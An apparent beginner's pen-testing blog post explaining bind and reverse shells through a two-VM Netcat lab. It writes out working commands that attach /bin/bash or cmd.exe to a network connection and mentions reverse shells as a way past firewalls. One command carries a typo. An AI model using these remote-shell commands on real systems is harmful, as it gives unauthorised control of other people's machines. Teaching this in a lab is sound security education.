I wanted to make a very short and simple post about shells…when starting out in pen testing you will hear a lot of chatter about shells, so this post hopes to clear up some of the terminology involved.
Now I guess that since you are reading this you’re already familiar with what a shell is. *If not have a look here* What I wanted to cover was bind shells and reverse shells…and what exactly the differences are. To do this we are going to run through a short exercise using the classic Netcat.
What you will need for this exercise are two machines on the same network segment, both with a copy of Netcat on them. They can be any combination of Linux or Windows (or something more exotic and/or $expensive = Macs).
For this exercise I spun up a couple of VMs, one Kali Linux box and one Windows Server 2012 box.
Netcat is included on Linux distros that come with Nmap as standard or can be downloaded from most standard Linux repos, for Windows you can pull the nc.exe from the web
Netcat is a simple (but powerful) command line tool that has become something of legend in the networking and security worlds, put simply Netcat can throw up listening TCP and UDP ports very quickly, it can unsurprisingly enough also connect to TCP and UDP ports just as easily.
Netcat comes into its own however with its power to read and write bits to and from these connections, this allows Netcat to perform a vast array of functions. For more have a look at the Netcat main page.
It is Netcat’s ability to read and write to layer 4 connections and streams that allows us to create the shells. This is done by redirecting the 3 shell I/O streams, stdin, stdout and stderr over the layer 4 connections.
The nuances of what is a bind shell and what is a reverse shell are dictated by the client server paradigm.
Okay, demo time, so either play along at home or just put your feet up and watch. *Read*
Our two boxes are Wendy the Windows box (192.168.1.80) and Lynn the Linux box (192.168.1.78).
So we will start with a bind shell, this is really quite simple, a bind shell is called a bind shell because it binds a shell to a listening TCP port. For example;
Lynn the Linux box wants to bind its bash shall to a listening port, the following command can be used to do this;
nc -nlvp nc 9874 -e /bin/bash
Let’s break that command down, nc is the Netcat binary, -nlvp: numeric (no dns names), listening, verbose and port, with 9874 as the option, this being the port that will be set to listen. The -e points to a file to be executed after the connection is established, in this instance that file is /bin/bash, our shell.
Now when a connection is established on Lynn (192.168.1.78:9874), the bash shell will fire up and proceed to redirect it’s I/O streams across the connection. So if we connect to it from another box we can access Lynn’s shell, lets do this from Wendy;
nc -nv 192.168.1.78 9874
And that’s it…it’s that simple, we now have control over an instance of bash running on Lynn from Wendy. From Wendy we can issue commands and see the output of them.
The reason this is known as a bind shell is because the shell is bound to the listening port, but what if we want to access Wendy’s Shell from Lynn while still maintaining the same Client/Server paradigm?
Well thankfully this is just as easy, what we are about to do is known as a reverse shell. First, as before we will set up a listening TCP port on Lynn, this time however we are not going to bind a shell to the listening port.
nc -nlvp nc 9874
Now on Wendy we are going to connect to Lynn’s listening port of 9874, this time however we are going to attach the Wendy’s cmd.exe shell to the client end of the conversation.
nc -nv 192.168.1.78 9874 -e cmd.exe
We now have access to Wendy’s shell on Lynn. There are a number of different reasons why we might choose between bind and reverse shells, the main one as far as pen testing goes is basic evasion, connections could be allowed in one direction but denied in the other, if Wendy and Lynn were on two separate network segments with a firewall in the middle for example, the firewall may allow outbound connections, but deny inbound connections.
In the example above Lynn acted as the server and Wendy as the client, but this paradigm can be reversed with the exact same results for both bind and reverse shells, simply setting Wendy to listen instead of Lynn